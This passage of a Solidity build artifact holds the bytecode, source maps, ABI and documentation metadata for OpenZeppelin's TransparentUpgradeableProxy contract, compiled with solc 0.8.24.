;;;;;;-1:-1:-1;4312:201:26:o;1532:259::-;-1:-1:-1;;;;;1465:19:33;;;1605:95:26;;;;-1:-1:-1;;;1605:95:26;;2572:2:155;1605:95:26;;;2554:21:155;2611:2;2591:18;;;2584:30;2650:34;2630:18;;;2623:62;-1:-1:-1;;;2701:18:155;;;2694:43;2754:19;;1605:95:26;2370:409:155;1605:95:26;1767:17;1030:66;1710:48;1614:190:35;6954:387:33;7095:12;-1:-1:-1;;;;;1465:19:33;;;7119:69;;;;-1:-1:-1;;;7119:69:33;;2986:2:155;7119:69:33;;;2968:21:155;3025:2;3005:18;;;2998:30;3064:34;3044:18;;;3037:62;-1:-1:-1;;;3115:18:155;;;3108:36;3161:19;;7119:69:33;2784:402:155;7119:69:33;7200:12;7214:23;7241:6;-1:-1:-1;;;;;7241:19:33;7261:4;7241:25;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;7199:67:33;;-1:-1:-1;7199:67:33;-1:-1:-1;7283:51:33;7199:67;;7321:12;7283:16;:51::i;:::-;7276:58;6954:387;-1:-1:-1;;;;;;6954:387:33:o;7561:742::-;7707:12;7735:7;7731:566;;;-1:-1:-1;7765:10:33;7758:17;;7731:566;7876:17;;:21;7872:415;;8120:10;8114:17;8180:15;8167:10;8163:2;8159:19;8152:44;7872:415;8259:12;8252:20;;-1:-1:-1;;;8252:20:33;;;;;;;;:::i;14:177:155:-;93:13;;-1:-1:-1;;;;;135:31:155;;125:42;;115:70;;181:1;178;171:12;115:70;14:177;;;:::o;196:127::-;257:10;252:3;248:20;245:1;238:31;288:4;285:1;278:15;312:4;309:1;302:15;328:250;413:1;423:113;437:6;434:1;431:13;423:113;;;513:11;;;507:18;494:11;;;487:39;459:2;452:10;423:113;;;-1:-1:-1;;570:1:155;552:16;;545:27;328:250::o;583:1066::-;680:6;688;696;749:2;737:9;728:7;724:23;720:32;717:52;;;765:1;762;755:12;717:52;788:40;818:9;788:40;:::i;:::-;778:50;;847:49;892:2;881:9;877:18;847:49;:::i;:::-;940:2;925:18;;919:25;837:59;;-1:-1:-1;;;;;;993:14:155;;;990:34;;;1020:1;1017;1010:12;990:34;1058:6;1047:9;1043:22;1033:32;;1103:7;1096:4;1092:2;1088:13;1084:27;1074:55;;1125:1;1122;1115:12;1074:55;1154:2;1148:9;1176:2;1172;1169:10;1166:36;;;1182:18;;:::i;:::-;1257:2;1251:9;1225:2;1311:13;;-1:-1:-1;;1307:22:155;;;1331:2;1303:31;1299:40;1287:53;;;1355:18;;;1375:22;;;1352:46;1349:72;;;1401:18;;:::i;:::-;1441:10;1437:2;1430:22;1476:2;1468:6;1461:18;1516:7;1511:2;1506;1502;1498:11;1494:20;1491:33;1488:53;;;1537:1;1534;1527:12;1488:53;1550:68;1615:2;1610;1602:6;1598:15;1593:2;1589;1585:11;1550:68;:::i;:::-;1637:6;1627:16;;;;;;;583:1066;;;;;:::o;3191:287::-;3320:3;3358:6;3352:13;3374:66;3433:6;3428:3;3421:4;3413:6;3409:17;3374:66;:::i;:::-;3456:16;;;;;3191:287;-1:-1:-1;;3191:287:155:o;3483:396::-;3632:2;3621:9;3614:21;3595:4;3664:6;3658:13;3707:6;3702:2;3691:9;3687:18;3680:34;3723:79;3795:6;3790:2;3779:9;3775:18;3770:2;3762:6;3758:15;3723:79;:::i;:::-;3863:2;3842:15;-1:-1:-1;;3838:29:155;3823:45;;;;3870:2;3819:54;;3483:396;-1:-1:-1;;3483:396:155:o;:::-;1649:3469:29;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212201cb5192ceba8c6cde969c8ea4fff22a8a08cce99288fb0565cde6dc36a94984364736f6c63430008180033","sourceMap":"1649:3469:29:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2898:11:27;:9;:11::i;:::-;1649:3469:29;;2675:11:27;:9;:11::i;3960:134:29:-;;;;;;;;;;-1:-1:-1;3960:134:29;;;;;:::i;:::-;;:::i;4470:164::-;;;;;;:::i;:::-;;:::i;3363:129::-;;;;;;;;;;;;;:::i;:::-;;;-1:-1:-1;;;;;1240:55:155;;;1222:74;;1210:2;1195:18;3363:129:29;;;;;;;3697:103;;;;;;;;;;-1:-1:-1;3697:103:29;;;;;:::i;:::-;;:::i;2807:96::-;;;;;;;;;;;;;:::i;2322:110:27:-;2370:17;:15;:17::i;:::-;2397:28;2407:17;:15;:17::i;:::-;2397:9;:28::i;:::-;2322:110::o;3960:134:29:-;2278:11;:9;:11::i;:::-;-1:-1:-1;;;;;2264:25:29;:10;:25;2260:99;;4033:54:::1;4051:17;4070:9;;;;;;;;;;;::::0;4081:5:::1;4033:17;:54::i;:::-;3960:134:::0;:::o;2260:99::-;2337:11;:9;:11::i;4470:164::-;2278:11;:9;:11::i;:::-;-1:-1:-1;;;;;2264:25:29;:10;:25;2260:99;;4579:48:::1;4597:17;4616:4;;4579:48;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;::::0;;;;-1:-1:-1;4622:4:29::1;::::0;-1:-1:-1;4579:17:29::1;::::0;-1:-1:-1;;4579:48:29:i:1;:::-;4470:164:::0;;;:::o;2260:99::-;2337:11;:9;:11::i;3363:129::-;3415:23;2278:11;:9;:11::i;:::-;-1:-1:-1;;;;;2264:25:29;:10;:25;2260:99;;3468:17:::1;:15;:17::i;:::-;3450:35;;3363:129:::0;:::o;2260:99::-;2337:11;:9;:11::i;:::-;3363:129;:::o;3697:103::-;2278:11;:9;:11::i;:::-;-1:-1:-1;;;;;2264:25:29;:10;:25;2260:99;;3771:22:::1;3784:8;3771:12;:22::i;2807:96::-:0;2850:14;2278:11;:9;:11::i;:::-;-1:-1:-1;;;;;2264:25:29;:10;:25;2260:99;;2885:11:::1;:9;:11::i;4909:207::-:0;4994:11;:9;:11::i;:::-;-1:-1:-1;;;;;4980:25:29;:10;:25;4972:104;;;;-1:-1:-1;;;4972:104:29;;1509:2:155;4972:104:29;;;1491:21:155;1548:2;1528:18;;;1521:30;1587:34;1567:18;;;1560:62;1658:34;1638:18;;;1631:62;1730:4;1709:19;;;1702:33;1752:19;;4972:104:29;;;;;;;;1148:140:25;1215:12;1246:35;:33;:35::i;948:895:27:-;1286:14;1283:1;1280;1267:34;1500:1;1497;1481:14;1478:1;1462:14;1455:5;1442:60;1576:16;1573:1;1570;1555:38;1614:6;1681:66;;;;1796:16;1793:1;1786:27;1681:66;1716:16;1713:1;1706:27;4108:122:26;4152:7;3842:66;4178:39;:45;-1:-1:-1;;;;;4178:45:26;;4108:122;-1:-1:-1;4108:122:26:o;2183:295::-;2321:29;2332:17;2321:10;:29::i;:::-;2378:1;2364:4;:11;:15;:28;;;;2383:9;2364:28;2360:112;;;2408:53;2437:17;2456:4;2408:28;:53::i;:::-;;2183:295;;;:::o;4624:135::-;4688:35;4701:11;:9;:11::i;:::-;4688:35;;;-1:-1:-1;;;;;2035:15:155;;;2017:34;;2087:15;;;2082:2;2067:18;;2060:43;1929:18;4688:35:26;;;;;;;4733:19;4743:8;4733:9;:19::i;1301:140::-;1354:7;1030:66;1380:48;1614:190:35;1897:152:26;1963:37;1982:17;1963:18;:37::i;:::-;2015:27;;-1:-1:-1;;;;;2015:27:26;;;;;;;;1897:152;:::o;6570:198:33:-;6653:12;6684:77;6705:6;6713:4;6684:77;;;;;;;;;;;;;;;;;:20;:77::i;:::-;6677:84;6570:198;-1:-1:-1;;;6570:198:33:o;4312:201:26:-;-1:-1:-1;;;;;4375:22:26;;4367:73;;;;-1:-1:-1;;;4367:73:26;;2316:2:155;4367:73:26;;;2298:21:155;2355:2;2335:18;;;2328:30;2394:34;2374:18;;;2367:62;2465:8;2445:18;;;2438:36;2491:19;;4367:73:26;2114:402:155;4367:73:26;4498:8;3842:66;4450:39;:56;;;;-1:-1:-1;;;;;4450:56:26;;;;;;;;;;-1:-1:-1;4312:201:26:o;1532:259::-;-1:-1:-1;;;;;1465:19:33;;;1605:95:26;;;;-1:-1:-1;;;1605:95:26;;2723:2:155;1605:95:26;;;2705:21:155;2762:2;2742:18;;;2735:30;2801:34;2781:18;;;2774:62;2872:15;2852:18;;;2845:43;2905:19;;1605:95:26;2521:409:155;1605:95:26;1767:17;1030:66;1710:48;1614:190:35;6954:387:33;7095:12;-1:-1:-1;;;;;1465:19:33;;;7119:69;;;;-1:-1:-1;;;7119:69:33;;3137:2:155;7119:69:33;;;3119:21:155;3176:2;3156:18;;;3149:30;3215:34;3195:18;;;3188:62;3286:8;3266:18;;;3259:36;3312:19;;7119:69:33;2935:402:155;7119:69:33;7200:12;7214:23;7241:6;-1:-1:-1;;;;;7241:19:33;7261:4;7241:25;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7199:67;;;;7283:51;7300:7;7309:10;7321:12;7283:16;:51::i;:::-;7276:58;6954:387;-1:-1:-1;;;;;;6954:387:33:o;7561:742::-;7707:12;7735:7;7731:566;;;-1:-1:-1;7765:10:33;7758:17;;7731:566;7876:17;;:21;7872:415;;8120:10;8114:17;8180:15;8167:10;8163:2;8159:19;8152:44;7872:415;8259:12;8252:20;;-1:-1:-1;;;8252:20:33;;;;;;;;:::i;14:196:155:-;82:20;;-1:-1:-1;;;;;131:54:155;;121:65;;111:93;;200:1;197;190:12;111:93;14:196;;;:::o;215:186::-;274:6;327:2;315:9;306:7;302:23;298:32;295:52;;;343:1;340;333:12;295:52;366:29;385:9;366:29;:::i;406:665::-;485:6;493;501;554:2;542:9;533:7;529:23;525:32;522:52;;;570:1;567;560:12;522:52;593:29;612:9;593:29;:::i;:::-;583:39;;673:2;662:9;658:18;645:32;696:18;737:2;729:6;726:14;723:34;;;753:1;750;743:12;723:34;791:6;780:9;776:22;766:32;;836:7;829:4;825:2;821:13;817:27;807:55;;858:1;855;848:12;807:55;898:2;885:16;924:2;916:6;913:14;910:34;;;940:1;937;930:12;910:34;985:7;980:2;971:6;967:2;963:15;959:24;956:37;953:57;;;1006:1;1003;996:12;953:57;1037:2;1033;1029:11;1019:21;;1059:6;1049:16;;;;;406:665;;;;;:::o;3342:250::-;3427:1;3437:113;3451:6;3448:1;3445:13;3437:113;;;3527:11;;;3521:18;3508:11;;;3501:39;3473:2;3466:10;3437:113;;;-1:-1:-1;;3584:1:155;3566:16;;3559:27;3342:250::o;3597:287::-;3726:3;3764:6;3758:13;3780:66;3839:6;3834:3;3827:4;3819:6;3815:17;3780:66;:::i;:::-;3862:16;;;;;3597:287;-1:-1:-1;;3597:287:155:o;3889:396::-;4038:2;4027:9;4020:21;4001:4;4070:6;4064:13;4113:6;4108:2;4097:9;4093:18;4086:34;4129:79;4201:6;4196:2;4185:9;4181:18;4176:2;4168:6;4164:15;4129:79;:::i;:::-;4269:2;4248:15;-1:-1:-1;;4244:29:155;4229:45;;;;4276:2;4225:54;;3889:396;-1:-1:-1;;3889:396:155:o","linkReferences":{}},"methodIdentifiers":{"admin()":"f851a440","changeAdmin(address)":"8f283970","implementation()":"5c60da1b","upgradeTo(address)":"3659cfe6","upgradeToAndCall(address,bytes)":"4f1ef286"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_logic\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"admin_\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"_data\",\"type\":\"bytes\"}],\"stateMutability\":\"payable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"previousAdmin\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"newAdmin\",\"type\":\"address\"}],\"name\":\"AdminChanged\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"beacon\",\"type\":\"address\"}],\"name\":\"BeaconUpgraded\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"implementation\",\"type\":\"address\"}],\"name\":\"Upgraded\",\"type\":\"event\"},{\"stateMutability\":\"payable\",\"type\":\"fallback\"},{\"inputs\":[],\"name\":\"admin\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"admin_\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newAdmin\",\"type\":\"address\"}],\"name\":\"changeAdmin\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"implementation\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"implementation_\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newImplementation\",\"type\":\"address\"}],\"name\":\"upgradeTo\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newImplementation\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"upgradeToAndCall\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"details\":\"This contract implements a proxy that is upgradeable by an admin. To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector clashing], which can potentially be used in an attack, this contract uses the https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two things that go hand in hand: 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if that call matches one of the admin functions exposed by the proxy itself. 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the implementation. If the admin tries to call a function on the implementation it will fail with an error that says \\\"admin cannot fallback to proxy target\\\". These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due to sudden errors when trying to call a function from the proxy implementation. Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way, you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.\",\"events\":{\"AdminChanged(address,address)\":{\"details\":\"Emitted when the admin account has changed.\"},\"BeaconUpgraded(address)\":{\"details\":\"Emitted when the beacon is upgraded.\"},\"Upgraded(address)\":{\"details\":\"Emitted when the implementation is upgraded.\"}},\"kind\":\"dev\",\"methods\":{\"admin()\":{\"details\":\"Returns the current admin. NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`\"},\"changeAdmin(address)\":{\"details\":\"Changes the admin of the proxy. Emits an {AdminChanged} event. NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.\"},\"constructor\":{\"details\":\"Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}.\"},\"implementation()\":{\"details\":\"Returns the current implementation. NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`\"},\"upgradeTo(address)\":{\"details\":\"Upgrade the implementation of the proxy. NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.\"},\"upgradeToAndCall(address,bytes)\":{\"details\":\"Upgrade the implementation of the proxy, and then call a function from the new implementation as specified by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the proxied contract. NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":\"TransparentUpgradeableProxy\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_logic","type":"address"},{"internalType":"address","name":"admin_","type":"address"},{"internalType":"bytes","name":"_data","type":"bytes"}],"stateMutability":"payable","type":"constructor"},{"inputs":[{"internalType":"address","name":"previousAdmin","type":"address","indexed":false},{"internalType":"address","name":"newAdmin","type":"address","indexed":false}],"type":"event","name":"AdminChanged","anonymous":false},{"inputs":[{"internalType":"address","name":"beacon","type":"address","indexed":true}],"type":"event","name":"BeaconUpgraded","anonymous":false},{"inputs":[{"internalType":"address","name":"implementation","type":"address","indexed":true}],"type":"event","name":"Upgraded","anonymous":false},{"inputs":[],"stateMutability":"payable","type":"fallback"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"admin","outputs":[{"internalType":"address","name":"admin_","type":"address"}]},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"changeAdmin"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"implementation","outputs":[{"internalType":"address","name":"implementation_","type":"address"}]},{"inputs":[{"internalType":"address","name":"newImplementation","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"upgradeTo"},{"inputs":[{"internalType":"address","name":"newImplementation","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"payable","type":"function","name":"upgradeToAndCall"},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{"admin()":{"details":"Returns the current admin. NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`"},"changeAdmin(address)":{"details":"Changes the admin of the proxy. Emits an {AdminChanged} event. NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}."},"constructor":{"details":"Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}."},"implementation()":{"details":"Returns the current implementation. NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`"},"upgradeTo(address)":{"details":"Upgrade the implementation of the proxy. NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}."},"upgradeToAndCall(address,bytes)":{"details":"Upgrade the implementation of the proxy, and then call a function from the new implementation as specified by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the proxied contract. NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":"TransparentUpgradeableProxy"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb: